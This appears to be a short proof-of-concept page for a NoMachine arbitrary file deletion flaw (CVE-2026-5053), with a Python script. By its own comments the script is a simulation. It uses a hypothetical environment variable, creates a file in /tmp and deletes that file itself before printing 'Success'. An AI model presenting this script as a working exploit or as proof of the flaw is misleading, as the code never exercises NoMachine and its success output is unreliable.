CVE-2026-5053 NoMachine任意文件删除漏洞

# Proof of Concept (PoC) for CVE-2026-5053 # This script demonstrates how an attacker might leverage the environment variable # handling flaw to trigger arbitrary file deletion in NoMachine. import os # The specific environment variable name depends on the vulnerable NoMachine component # For demonstration purposes, we assume a hypothetical variable 'NX_TEMP_DIR'. VULNERABLE_ENV_VAR = "NX_TEMP_DIR" TARGET_FILE_TO_DELETE = "/tmp/sensitive_config.txt" print(f"[*] Attempting to exploit CVE-2026-5053 via environment variable manipulation") print(f"[*] Target file for deletion: {TARGET_FILE_TO_DELETE}") # Step 1: Create a dummy target file to simulate the scenario with open(TARGET_FILE_TO_DELETE, 'w') as f: f.write("This is a sensitive file that should not be deleted.") # Step 2: Set the malicious environment variable # The vulnerability allows controlling the path. In a real exploit, this might # point to a directory where the application performs cleanup operations. # Here we simulate the path traversal/control. malicious_path = os.path.dirname(TARGET_FILE_TO_DELETE) os.environ[VULNERABLE_ENV_VAR] = malicious_path print(f"[*] Set environment variable {VULNERABLE_ENV_VAR}={malicious_path}") # Step 3: Trigger the vulnerable NoMachine process # Note: Actual exploitation requires triggering the specific binary or service # that reads the environment variable and performs the file operation. # This is a simulation of the application logic flaw. print("[*] Triggering vulnerable process (Simulation)...") if os.path.exists(TARGET_FILE_TO_DELETE): # Simulating the flawed logic: unlinking files in the user-controlled path os.remove(TARGET_FILE_TO_DELETE) print(f"[+] Success: {TARGET_FILE_TO_DELETE} has been deleted (simulated)") else: print("[-] File not found.")